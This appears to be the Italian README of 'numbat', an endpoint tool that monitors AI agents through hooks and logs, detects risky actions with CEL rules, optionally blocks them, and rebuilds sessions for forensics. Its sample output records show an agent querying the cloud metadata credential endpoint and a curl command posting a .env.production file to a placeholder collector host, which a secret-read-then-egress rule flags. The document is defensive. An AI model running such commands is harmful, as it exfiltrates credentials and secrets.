numbat

Visibilità sugli endpoint delle attività degli agenti AI, con rilevamento locale, blocco opzionale pre-azione e ricostruzione forense.

numbat osserva gli agenti desktop, CLI, IDE e gateway supportati tramite hook e plugin locali, log OTLP/HTTP e artefatti di sessione su disco. L'attività in tempo reale e a riposo viene normalizzata in un unico modello di eventi e valutata dallo stesso motore di regole CEL. Il rilevamento viene eseguito localmente; i record possono essere scritti su stdout o su un file locale e facoltativamente consegnati via HTTP.

La matrice di copertura è autorevole per ciascun host e superficie. Il blocco è disattivato per impostazione predefinita e limitato agli hook pre-azione sincroni supportati; consulta la guida all'enforcement.

Funzionalità

• Monitoraggio in tempo reale tramite hook, plugin ed esportatori di log OTLP/HTTP.
• Rilevamento locale all'endpoint con regole CEL integrate, regole di sequenza multi-step e regole YAML personalizzate.
• Blocco opt-in tramite gli hook pre-azione supportati. La modalità enforce è disabilitata per impostazione predefinita e si applica solo alle regole contrassegnate con enforce: true; tutte le regole fornite sono solo di monitoraggio.
• Ricostruzione forense dagli artefatti di sessione su disco supportati, senza precedente strumentazione numbat.
• Record NDJSON versionati per eventi, risultati, decisioni di enforcement, indicatori e riepiloghi di scansione. Eventi e risultati mantengono i riferimenti alla fonte; gli JSON Schema definiscono il formato di trasmissione.
• Scansione di artefatti in sola lettura con redazione dei segreti. L'output normale dei record non include mai una trascrizione grezza completa; l'aggiunta di file di evidenza grezzi a un bundle di caso è opt-in.
• Strumenti di inventario e indagine per la scoperta di agenti in sola lettura, timeline per sessione e bundle di caso portatili con manifest SHA-256.
• Distribuzione a binario singolo per macOS, Linux e Windows, compilata senza cgo.

Avvio rapido

Installazione

Scarica una release per macOS, Linux o Windows su amd64 o arm64. Ogni release include checksum SHA-256. Puoi anche installare con Go 1.26.6 o versioni successive:

go install github.com/perplexityai/numbat/cmd/numbat@latest

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

Inventario e scansione

Questi comandi in sola lettura non installano hook né modificano la configurazione degli agenti:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

Monitoraggio ed enforcement

Installa il monitoraggio in tempo reale per qualsiasi agente con supporto alla cattura live; i comandi seguenti usano Codex come esempio concreto. Gli hook partono in modalità solo monitoraggio. --emit all scrive eventi, risultati, indicatori e decisioni di enforcement applicabili in ~/.numbat/records.ndjson.

numbat hook install --agent codex --emit all
numbat hook status --agent codex

Fiducia negli hook: I requisiti variano in base all'agente e allo scope. Per l'hook utente Codex sopra, rivedi e considera attendibile la sua definizione corrente in /hooks (CLI) o Impostazioni > Hook (app), anche dopo modifiche come --enforce. Gli hook Codex installati con --managed sono considerati attendibili per policy. hook status verifica la configurazione, non l'esecuzione o la consegna. Consulta la guida al deployment per altri agenti e scope.

Tutte le regole fornite sono solo di monitoraggio. Per applicare un rilevamento, copia il suo YAML fornito completo in una directory operatore controllata, mantieni lo stesso id, aggiungi enforce: true e incrementa la sua versione. Convalida e installa quella policy effettiva per un hook pre-azione supportato:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Output di esempio

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}